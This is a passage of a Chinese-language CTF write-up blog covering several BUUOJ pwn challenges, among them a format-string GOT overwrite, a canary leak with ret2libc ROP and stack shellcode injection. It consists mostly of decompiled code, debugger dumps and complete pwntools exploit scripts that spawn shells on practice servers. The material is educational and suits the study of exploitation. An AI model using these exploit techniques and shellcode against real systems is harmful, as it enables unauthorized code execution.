0x6161 /* &#x27;aa&#x27; */</span><br><span class="line">10:0040│        0xffffce7c ◂— 0x0</span><br><span class="line">... ↓</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> </span></span><br></pre></td></tr></table></figure>



<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">fmtstr_payload(offset, writes, numbwritten=0, write_size=&#x27;byte&#x27;)</span><br><span class="line">第一个参数表示格式化字符串的偏移；</span><br><span class="line">第二个参数表示需要利用%n写入的数据，采用字典形式，我们要将printf的GOT数据改为system函数地址，就写成&#123;printfGOT: systemAddress&#125;；本题是将0804a048处改为0x2223322</span><br><span class="line">第三个参数表示已经输出的字符个数，这里没有，为0，采用默认值即可；</span><br><span class="line">第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。</span><br><span class="line">fmtstr_payload函数返回的就是payload</span><br></pre></td></tr></table></figure>

<p>具体可以去看：<a target="_blank" rel="noopener" href="https://docs.pwntools.com/en/stable/fmtstr.html">https://docs.pwntools.com/en/stable/fmtstr.html</a></p>
<p>exp1:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment">#io = process(&quot;./axb_2019_fmt32&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26417</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./axb_2019_fmt32&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&quot;/lib/i386-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line">prt_got = elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>+p32(prt_got)+<span class="string">&quot;aaaa&quot;</span>+<span class="string">&quot;%8$s&quot;</span></span><br><span class="line">io.recv()</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recvuntil(<span class="string">&quot;aaaa&quot;</span>)</span><br><span class="line">printf_addr = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(printf_addr)</span><br><span class="line">base  = printf_addr - libc.sym[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">one_gadget = <span class="number">0x3a80c</span> +base</span><br><span class="line">system_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> + fmtstr_payload(<span class="number">8</span>,&#123;prt_got:one_gadget&#125;,numbwritten = <span class="number">0xa</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.sendline(<span class="string">&#x27;cat flag\x00&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>exp2:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment">#io = process(&quot;./axb_2019_fmt32&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26417</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./axb_2019_fmt32&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&quot;/lib/i386-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line">prt_got = elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>+p32(prt_got)+<span class="string">&quot;aaaa&quot;</span>+<span class="string">&quot;%8$s&quot;</span></span><br><span class="line">io.recv()</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recvuntil(<span class="string">&quot;aaaa&quot;</span>)</span><br><span class="line">printf_addr = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(printf_addr)</span><br><span class="line">base  = printf_addr - libc.sym[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">one_gadget = <span class="number">0x3ac72</span> +base</span><br><span class="line">system_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> + fmtstr_payload(<span class="number">8</span>,&#123;prt_got:system_add&#125;,numbwritten = <span class="number">0xa</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.sendline(<span class="string">&#x27;;cat flag\x00&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h1 id="0x35-others-babystack"><a href="#0x35-others-babystack" class="headerlink" title="0x35.others_babystack"></a>0x35.others_babystack</h1><p>查看保护：开了canary</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec babystack </span><br><span class="line">[*] <span class="string">&#x27;/home/gwt/Desktop/babystack&#x27;</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure>

<p>main：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">main</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">char</span> **a2, <span class="keyword">char</span> **a3)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">136</span>]; <span class="comment">// [rsp+10h] [rbp-90h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v6; <span class="comment">// [rsp+98h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x80</span>uLL);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    menu();</span><br><span class="line">    v3 = input();</span><br><span class="line">    <span class="keyword">switch</span> ( v3 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:                                   <span class="comment">// print</span></span><br><span class="line">        <span class="built_in">puts</span>(s);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:                                   <span class="comment">// store</span></span><br><span class="line">        read(<span class="number">0</span>, s, <span class="number">0x100</span>uLL);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        puts_(<span class="string">&quot;invalid choice&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    puts_(&amp;unk_400AE7);<span class="comment">//换行</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>store的read函数有溢出</p>
<p><code>payload = &#39;a&#39;*(0x90-8)</code></p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> stack 32</span></span><br><span class="line">00:0000│ rsp  0x7fffffffdde8 —▸ 0x400884 ◂— 0x7f00cc7d83cc4589</span><br><span class="line">01:0008│      0x7fffffffddf0 ◂— 0x0</span><br><span class="line">02:0010│      0x7fffffffddf8 —▸ 0x7fffffffde20 —▸ 0x7fffffffde30 —▸ 0x7fffffffdee0 —▸ 0x400a30 ◂— ...</span><br><span class="line">03:0018│ rsi  0x7fffffffde00 ◂— 0x0</span><br><span class="line">... ↓</span><br><span class="line">07:0038│      0x7fffffffde20 —▸ 0x7fffffffde30 —▸ 0x7fffffffdee0 —▸ 0x400a30 ◂— 0x41ff894156415741</span><br><span class="line">08:0040│      0x7fffffffde28 ◂— 0x10cdd61fbdf3e300</span><br><span class="line">09:0048│ rbp  0x7fffffffde30 —▸ 0x7fffffffdee0 —▸ 0x400a30 ◂— 0x41ff894156415741</span><br><span class="line">0a:0050│      0x7fffffffde38 —▸ 0x4009a9 ◂— 0x858bffffff6c8589</span><br><span class="line">0b:0058│      0x7fffffffde40 ◂— 0x0</span><br><span class="line">0c:0060│      0x7fffffffde48 ◂— 0x200000000</span><br><span class="line">0d:0068│      0x7fffffffde50 ◂— 0x6161616161616161 (&#x27;aaaaaaaa&#x27;)</span><br><span class="line">... ↓</span><br><span class="line">1e:00f0│      0x7fffffffded8 ◂— 0x10cdd61fbdf3e300 &lt;= 这里就是canary</span><br><span class="line">1f:00f8│      0x7fffffffdee0 —▸ 0x400a30 ◂— 0x41ff894156415741</span><br></pre></td></tr></table></figure>

<p>大致思路就是，先leak canary，然后是libcbase，再之后写system(&#x2F;bin&#x2F;sh)就OK</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment">#io = process(&quot;./babystack&quot;)</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">27068</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./babystack&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line"></span><br><span class="line">pop_rdi=<span class="number">0x0400a93</span></span><br><span class="line">elf=ELF(<span class="string">&#x27;./babystack&#x27;</span>)</span><br><span class="line">puts_got=elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_plt=elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">main_addr=<span class="number">0x400908</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">cmd</span>(<span class="params">choice</span>):</span></span><br><span class="line">    io.recvuntil(<span class="string">b&quot;&gt;&gt; &quot;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write</span>(<span class="params">content</span>):</span></span><br><span class="line">    cmd(<span class="number">1</span>)</span><br><span class="line">    io.sendline(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dump</span>():</span></span><br><span class="line">    cmd(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x90</span>-<span class="number">0x8</span>)</span><br><span class="line">write(payload)</span><br><span class="line">dump()</span><br><span class="line">io.recvuntil(<span class="string">&#x27;a\n&#x27;</span>)</span><br><span class="line">canary = u64(io.recv(<span class="number">7</span>).rjust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">log.success(<span class="string">&#x27;canary: &#x27;</span>+<span class="built_in">hex</span>(canary))</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x90</span>-<span class="number">0x8</span>) +p64(canary) +<span class="string">&#x27;b&#x27;</span>*<span class="number">0x8</span> + p64(pop_rdi)</span><br><span class="line">payload +=p64(puts_got)+p64(puts_plt)+ p64(main_addr)</span><br><span class="line"></span><br><span class="line">write(payload)</span><br><span class="line">io.sendlineafter(<span class="string">&#x27;&gt;&gt;&#x27;</span>,<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">puts_addr=u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">log.success(<span class="string">&#x27;puts_addr: &#x27;</span>+<span class="built_in">hex</span>(puts_addr))</span><br><span class="line"></span><br><span class="line">base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">sys_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span class="built_in">next</span>()</span><br><span class="line"><span class="comment"># gdb.attach(io)</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x90</span>-<span class="number">0x8</span>) +p64(canary) +<span class="string">&#x27;b&#x27;</span>*<span class="number">0x8</span> + p64(pop_rdi)</span><br><span class="line">payload += p64(bin_sh) +p64(sys_add)</span><br><span class="line"></span><br><span class="line">write(payload)</span><br><span class="line">io.sendlineafter(<span class="string">&quot;&gt;&gt;&quot;</span>,<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x36-pwnable-start"><a href="#0x36-pwnable-start" class="headerlink" title="0x36.pwnable_start"></a>0x36.pwnable_start</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec start </span><br><span class="line">[*] <span class="string">&#x27;/home/gwt/Desktop/start&#x27;</span></span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    No RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">.text:08048060                 public _start</span><br><span class="line">.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o</span><br><span class="line">.text:08048060                 push    esp</span><br><span class="line">.text:08048061                 push    offset _exit</span><br><span class="line">.text:08048066                 xor     eax, eax</span><br><span class="line">.text:08048068                 xor     ebx, ebx</span><br><span class="line">.text:0804806A                 xor     ecx, ecx</span><br><span class="line">.text:0804806C                 xor     edx, edx</span><br><span class="line">.text:0804806E                 push    3A465443h</span><br><span class="line">.text:08048073                 push    20656874h</span><br><span class="line">.text:08048078                 push    20747261h</span><br><span class="line">.text:0804807D                 push    74732073h</span><br><span class="line">.text:08048082                 push    2774654Ch</span><br><span class="line">.text:08048087                 mov     ecx, esp        ; addr</span><br><span class="line">.text:08048089                 mov     dl, 14h         ; len</span><br><span class="line">.text:0804808B                 mov     bl, 1           ; fd</span><br><span class="line">.text:0804808D                 mov     al, 4</span><br><span class="line">.text:0804808F                 int     80h             ; LINUX - sys_write</span><br><span class="line">.text:08048091                 xor     ebx, ebx</span><br><span class="line">.text:08048093                 mov     dl, 3Ch ; &#x27;&lt;&#x27;</span><br><span class="line">.text:08048095                 mov     al, 3</span><br><span class="line">.text:08048097                 int     80h             ; LINUX -</span><br><span class="line">.text:08048099                 add     esp, 14h</span><br><span class="line">.text:0804809C                 retn</span><br><span class="line">.text:0804809C _start          endp ; sp-analysis failed</span><br></pre></td></tr></table></figure>

<p>进去的栈布局是这样的:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">00:0000│ ecx esp  0xffffd134 ◂— 0x2774654c (&quot;Let&#x27;&quot;)</span><br><span class="line">01:0004│          0xffffd138 ◂— 0x74732073 (&#x27;s st&#x27;)</span><br><span class="line">02:0008│          0xffffd13c ◂— 0x20747261 (&#x27;art &#x27;)</span><br><span class="line">03:000c│          0xffffd140 ◂— 0x20656874 (&#x27;the &#x27;)</span><br><span class="line">04:0010│          0xffffd144 ◂— 0x3a465443 (&#x27;CTF:&#x27;)</span><br><span class="line">05:0014│          0xffffd148 —▸ 0x804809d (_exit) ◂— pop    esp</span><br><span class="line">06:0018│          0xffffd14c —▸ 0xffffd150 ◂— 0x1</span><br><span class="line">07:001c│          0xffffd150 ◂— 0x1</span><br></pre></td></tr></table></figure>

<p>它系统调用的时候，sys_write(fd,len=&#x3D;0x14,addr=&#x3D;esp)，而esp就是0xffffd134这里。</p>
<p>程序在一开始的时候push了_exit进去，也就是退出程序。</p>
<p>构造<code>payload = &#39;a&#39;*0x14+ p32(0x08048087)</code></p>
<p>之后会sys_read，其中ebx&#x3D;0,ecx&#x3D;esp,edx&#x3D;0x3c，且最后会add esp,14h.</p>
<p>构造：<code>payload = &#39;a&#39;*0x14+ p32(addr + 0x14) + shellcode</code></p>
<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># io = process(&quot;./start&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">25817</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x14</span>+ p32(<span class="number">0x08048087</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.send(payload)</span><br><span class="line">addr = u32(io.recv(<span class="number">4</span>))</span><br><span class="line">log.info(<span class="string">&#x27;addr:&#x27;</span>+<span class="built_in">hex</span>(addr))</span><br><span class="line">shellcode = <span class="string">&#x27;\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80&#x27;</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x14</span>+ p32(addr + <span class="number">0x14</span>)+ shellcode</span><br><span class="line"><span class="comment"># gdb.attach(io)</span></span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x37-mrctf2020-easyoverflow"><a href="#0x37-mrctf2020-easyoverflow" class="headerlink" title="0x37.mrctf2020_easyoverflow"></a>0x37.mrctf2020_easyoverflow</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec mrctf2020_easyoverflow </span><br><span class="line">[*] <span class="string">&#x27;/home/gwt/Desktop/mrctf2020_easyoverflow&#x27;</span></span><br><span class="line">    Arch:     amd64<span class="number">-64</span>-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> v4[<span class="number">48</span>]; <span class="comment">// [rsp+0h] [rbp-70h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> a1[<span class="number">64</span>]; <span class="comment">// [rsp+30h] [rbp-40h] BYREF</span></span><br><span class="line"></span><br><span class="line">  *&amp;a1[<span class="number">56</span>] = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">strcpy</span>(a1, <span class="string">&quot;ju3t_@_f@k3_f1@g&quot;</span>);</span><br><span class="line">  *&amp;a1[<span class="number">24</span>] = <span class="number">0LL</span>;</span><br><span class="line">  *&amp;a1[<span class="number">32</span>] = <span class="number">0LL</span>;</span><br><span class="line">  *&amp;a1[<span class="number">40</span>] = <span class="number">0LL</span>;</span><br><span class="line">  *&amp;a1[<span class="number">48</span>] = <span class="number">0</span>;</span><br><span class="line">  gets(v4, argv);</span><br><span class="line">  <span class="keyword">if</span> ( !check(a1) )</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function">__int64 __fastcall <span class="title">check</span><span class="params">(<span class="keyword">char</span> *a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  v3 = <span class="built_in">strlen</span>(fake_flag);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( i == v3 )</span><br><span class="line">      <span class="keyword">return</span> <span class="number">1LL</span>;</span><br><span class="line">    <span class="keyword">if</span> ( a1[i] != fake_flag[i] )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># io = process(&quot;./mrctf2020_easyoverflow&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26267</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x30</span> + <span class="string">&#x27;n0t_r3@11y_f1@g&#x27;</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x38-wustctf2020-getshell-2"><a href="#0x38-wustctf2020-getshell-2" class="headerlink" title="0x38.wustctf2020_getshell_2"></a>0x38.wustctf2020_getshell_2</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec wustctf2020_getshell_2 </span><br><span class="line">[*] <span class="string">&#x27;/home/gwt/Desktop/wustctf2020_getshell_2&#x27;</span></span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure>

